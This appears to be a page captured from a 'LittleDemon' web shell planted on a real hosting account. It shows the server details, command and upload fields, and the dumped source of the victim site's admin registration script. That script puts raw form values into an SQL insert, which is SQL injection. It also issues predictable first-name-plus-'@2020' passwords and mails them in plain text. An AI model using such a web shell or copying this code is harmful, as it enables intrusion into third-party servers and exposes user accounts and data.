LittleDemon WebShell


Linux premium274.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Path : /home/whagcoha/mos.bacohtcc.com/
File Upload :
Command :
Current File : /home/whagcoha/mos.bacohtcc.com/adminreg.php

<?php
if ((!isset($_SESSION['gen256']))  ) {
  echo "<script>
        window.open('login.php','_self');
    </script>";  
}

?>

<script src="js/formd.js"></script>

<?php 
if ($_SESSION['gen256']['role']=='0') {

    $output='';

    $output .= "<div class='alert alert-warning' role='alert'>
  Oopps!!<b>You are not allowed to access this page contact the System Admin</b>
</div>";
    // code...
    echo $output;
}else{

?>

<div class="row">
    
  
    <div class="col-lg-12">
        <div class="panel panel-default">
            <div class="panel-heading">
                Admin Registration
            </div>
            <div class="panel-body">
               
                <form method="post" enctype="multipart/form-data">
                <div class="row">
                    <div class="col-lg-6">

     <div class="form-group">
  <label>First Name:</label>
  <input type="text" class="form-control" name="fname" required>
</div>

  <div class="form-group">
  <label>Other Name:</label>
  <input type="text" class="form-control" name="lname" required>
</div>

<div class="form-group">
    <label>Gender:</label>
    
    <select class="form-control" name="gender" required>
    <option value="">Select Gender</option>   
    <option>Male</option>
    <option>Female</option> 
  </select>

</div>




<!-- <div class="form-group">
    <label>Profile:</label>

         <input class="form-control" type="file" name="profilepic" onchange="readURL(this);">
        <img id="blahx" src="http://placehold.it/180" alt="Uploaded image" />
   
    
</div> -->

  
</div>


 <div class="col-lg-6">

    <div class="form-group">
    <label>Contact:</label>
    <input type="text" class="form-control" name="tel">
</div>
<div class="form-group">
    <label>Email:</label>
    <input type="email" class="form-control" name="email">
</div>

<div class="form-group">
    <label>Role:</label>
    <select class="form-control" name="role" required>
    <option value="">Select Role</option>    
    <option value="0">Admin</option>
     <option value="1">Super Admin</option>        

    </select>
    
</div>




<!-- Dead or Alive -->



<div class="form-group">
    <input type="submit" name="record" class="btn btn-sm btn-success" value="Register">
</div>
</div>


  


<!-- Test Code -->




  
</form>

</div>
<!-- </form> -->

<a href="index.php?p=userview&page=1"><button class="btn btn-sm btn-success">View Admins</button></a>
</div>
</div>
</div>
</div>


<script src="js/formd.js"></script>







<?php
include "dbconfig/db.php";
if(isset($_POST['record'])){
    
    $fname = strip_tags($_POST['fname']);
    $lname = strip_tags($_POST['lname']);
    $gender = strip_tags($_POST['gender']);
    
      $role=strip_tags($_POST['role']);
    $tel=$_POST['tel'];
     $email=$_POST['email'];
     
// Password
     $pasa='@2020';
     $password=$fname.''.$pasa;
     $pass1=sha1($password);
    $pass2=md5($pass1);

    


     $newfilename="default.png";



// $temp = explode(".", $_FILES["profilepic"]["name"]);

// $newfilename = $_SESSION['xntulumexadmin']['fname']."after".round(microtime(true)) . '.' . end($temp);

// move_uploaded_file($_FILES["profilepic"]["tmp_name"], "profile/" . $newfilename);


 


      // $status='pending';
     
     // $nDate=$_POST['nDate'];

    

    



   



    $sql = "INSERT INTO users(fname,oname,gender,tel,email,password,role,image) VAlUES('$fname','$lname','$gender','$tel','$email','$pass2','$role','$newfilename')";

    
     
    mysqli_query($conn,$sql);
   

    echo "<script>alert('User Registered')</script>";

 



// $senderr=$_SESSION['gen256']['fname'];
    $senderr="Ritah";

    $msg="Hello $fname your Mwagalwa Service Online Account has been created to access the portal you will go through https://mos.iammwagalwa.com Your credentials are \n Email: $email \n  Password: $password \n   Please Dont share the above information with anyone else \n This Email is sent by an  AI do not Reply\n $senderr ";

    $headers = "From: ritah@iammwagalwa.com";
    mail($email,"Welcome to Mwagalwa Service Online System",$msg,$headers);

 





}


?>
<?php }; ?>

LittleDemon - FACEBOOK
[ KELUAR ]